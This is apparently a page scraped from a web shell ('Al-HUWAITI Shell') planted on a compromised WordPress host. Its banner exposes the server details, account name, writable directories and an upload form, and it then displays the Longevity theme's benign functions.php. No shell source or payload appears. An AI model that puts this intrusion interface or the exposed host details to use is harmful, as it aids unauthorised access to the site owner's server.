hello 404 Not Found
Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : chryzalihi ( 621211)
PHP Version : 8.3.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/chryzalihi/www/wp-contentOLD/themes/longevity/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/chryzalihi/www/wp-contentOLD/themes/longevity/functions.php
<?php
/**
 * Functions and definitions
 *
 * @package Longevity
 */



// Longevity only works in WordPress 4.1 or later.
if ( version_compare( $GLOBALS['wp_version'], '4.1-alpha', '<' ) ) {
	require get_template_directory() . '/inc/back-compat.php';
}

/**
 * Sets up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which runs before the init hook. 
 * The init hook is too late for some features, such as indicating support for post thumbnails.
 */
if ( ! function_exists( 'longevity_setup' ) ) :
	function longevity_setup() {
		
/**
 * Set the content width based on the theme's design and stylesheet.
 * This theme gives you up to 1140 pixels of content width.
 */
 
    global $content_width;
    //Set up the content width value based on the theme's design.
    if ( ! isset( $content_width ) ) {
      $content_width = 1140;
    }
  
	/*
	 * Make theme available for translation.
	 * Translations can be filed in the /languages/ directory.
	 * If you're building a theme based on Longevity, use a find and replace to change 'longevity' to the name of your theme in all the template files
	 */
	load_theme_textdomain( 'longevity', get_template_directory() . '/languages' );

	// Add default posts and comments RSS feed links to head.
	add_theme_support( 'automatic-feed-links' );

	// Add shortcode support to the text widget.
	add_filter('widget_text', 'do_shortcode');

	// Indicate widget sidebars can use selective refresh in the Customizer.
	add_theme_support( 'customize-selective-refresh-widgets' );	
	
	/**
	 * Add callback for custom TinyMCE editor stylesheets. (editor-style.css)
	 * @see http://codex.wordpress.org/Function_Reference/add_editor_style
	 */
	add_editor_style( array( 'editor-style.css', longevity_fonts_url() ) );
		
	/*
	 * Let WordPress manage the document title.
	 * By adding theme support, we declare that this theme does not use a
	 * hard-coded <title> tag in the document head, and expect WordPress to
	 * provide it for us.
	 */
	add_theme_support( 'title-tag' );

	/*
	 * Enable support for Post Thumbnails on posts and pages.
	 *
	 * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
	 */
	add_theme_support( 'post-thumbnails' );
	set_post_thumbnail_size( 1200, 9999 ); // up to 1200 pixels wide and unlimited height

	// This theme uses wp_nav_menu() in one location.
	register_nav_menus( array(
		'primary' => esc_html__( 'Primary Menu', 'longevity' ),
		'footer'  => esc_html__( 'Footer Menu', 'longevity' ),
		'social'  => esc_html__( 'Social Menu', 'longevity' ),
		'social-footer'  => esc_html__( 'Social Footer Menu', 'longevity' ),
	) );

	/*
	 * Switch default core markup for search form, comment form, and comments
	 * to output valid HTML5.
	 */
	add_theme_support( 'html5', array(
		'search-form', 'comment-form', 'comment-list', 'gallery', 'caption',
	) );

	/*
	 * Enable support for Post Formats.
	 * See http://codex.wordpress.org/Post_Formats
	 */
	add_theme_support( 'post-formats', array(
		'aside', 'image', 'quote', 'status',
	) );
	
	/*
	 * Set up the WordPress core custom background feature.
	 * See https://codex.wordpress.org/Custom_Backgrounds
	 */  
    add_theme_support( 'custom-background', array( 
      'default-color'    => '494d51',
      'default-image'    => get_template_directory_uri() .'/images/scanlines1.png',  
    ) ) ;

    /*
	 * Enable woocommerce support
	 */
	add_theme_support( 'woocommerce' );
}
endif; // longevity_setup
add_action( 'after_setup_theme', 'longevity_setup' );



/**
 * Register Google fonts.
 * @return string Google fonts URL for the theme.
 */

if ( ! function_exists( 'longevity_fonts_url' ) ) :
function longevity_fonts_url() {
	$fonts_url = '';
	$fonts     = array();
	$subsets   = 'latin,latin-ext';

	/*
	 * Translators: If there are characters in your language that are not supported by Playfair Display, translate this to 'off'. Do not translate into your own language.
	 */
	if ( 'off' !== _x( 'on', 'Playfair Display font: on or off', 'longevity' ) ) {
		$fonts[] = 'Playfair Display:400,400italic';
	}
		
	/*
	 * Translators: If there are characters in your language that are not supported by Open Sans, translate this to 'off'. Do not translate into your own language. */
	if ( 'off' !== _x( 'on', 'Open Sans font: on or off', 'longevity' ) ) {
		$fonts[] = 'Open Sans:300,400,600,700,800';
	}	

	if ( $fonts ) {
		$fonts_url = add_query_arg( array(
			'family' => urlencode( implode( '|', $fonts ) ),
			'subset' => urlencode( $subsets ),
		), 'https://fonts.googleapis.com/css' );
	}

	return $fonts_url;
}
endif;


/**
 * Enqueue scripts and styles.
 *
 */
function longevity_scripts() {
	
	// Add custom fonts, used in the main stylesheet.
	wp_enqueue_style( 'longevity-fonts', longevity_fonts_url(), array(), null );
	
	// Add Font Awesome Icons. Unminified version included.
	if( esc_attr(get_theme_mod( 'load_fontawesome', 1 ) ) ) :
		wp_enqueue_style('fontAwesome', get_template_directory_uri() . '/css/fontawesome.min.css', array(), '4.3.0' );
	endif;
	
	// Load our responsive stylesheet based on Bootstrap. Unminified version included.
	wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css', array( ), '3.3.4' );
		
	// Load our main stylesheet.
	wp_enqueue_style( 'longevity-style', get_stylesheet_uri() );
	
	// Load our theme colour preset stylesheet
	if( esc_attr(get_theme_mod( 'add_colourscheme_css', 1 ) ) ) :
		$colourscheme = esc_attr(get_theme_mod( 'colour_scheme', 'default' ) ) ;
		wp_enqueue_style( 'longevity-colour-scheme', get_template_directory_uri() . '/css/' . $colourscheme . '.css', array(), '2015' );	
	endif;
	
	// Load our scripts. Unminified version included.
	wp_enqueue_script( 'longevity-imagesloaded', get_template_directory_uri() . '/js/imagesloaded.pkgd.min.js', array( 'jquery' ), '3.1.8', true );
	wp_enqueue_script( 'longevity-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20141010', true );



	// Enqueue ie html5 shiv.

	global $wp_scripts;
	wp_enqueue_script( 'longevity-html5', get_template_directory_uri() . '/js/html5.min.js', array(), '3.7.3', false );
	$wp_scripts->add_data( 'longevity-html5', 'conditional', 'lt IE 9' );


	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}

	wp_enqueue_script( 'longevity-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20150330', true );
	wp_localize_script( 'longevity-script', 'screenReaderText', array(
		'expand'   => '<span class="screen-reader-text">' . esc_html__( 'expand child menu', 'longevity' ) . '</span>',
		'collapse' => '<span class="screen-reader-text">' . esc_html__( 'collapse child menu', 'longevity' ) . '</span>',
	) );
}
add_action( 'wp_enqueue_scripts', 'longevity_scripts' );



/**
 * Add the customizer theme options.
 */
require get_template_directory() . '/inc/customizer.php';

/**
 * Add template tags.
 */
require get_template_directory() . '/inc/template-tags.php';

/**
 * Custom functions that act independently of the theme templates.
 */
require get_template_directory() . '/inc/extras.php';

/**
 * Add inline styles from the customizer.
 */
require get_template_directory() . '/inc/inline-styles.php';


/**
 * Add sidebars.
 */
require get_template_directory() . '/inc/sidebars.php';

/**
 * Add Jetpack support.
 */
require get_template_directory() . '/inc/jetpack.php';

/**
 * Add customized comments layout.
 */
require get_template_directory() . '/inc/comment-layout.php';


Al-HUWAITI Shell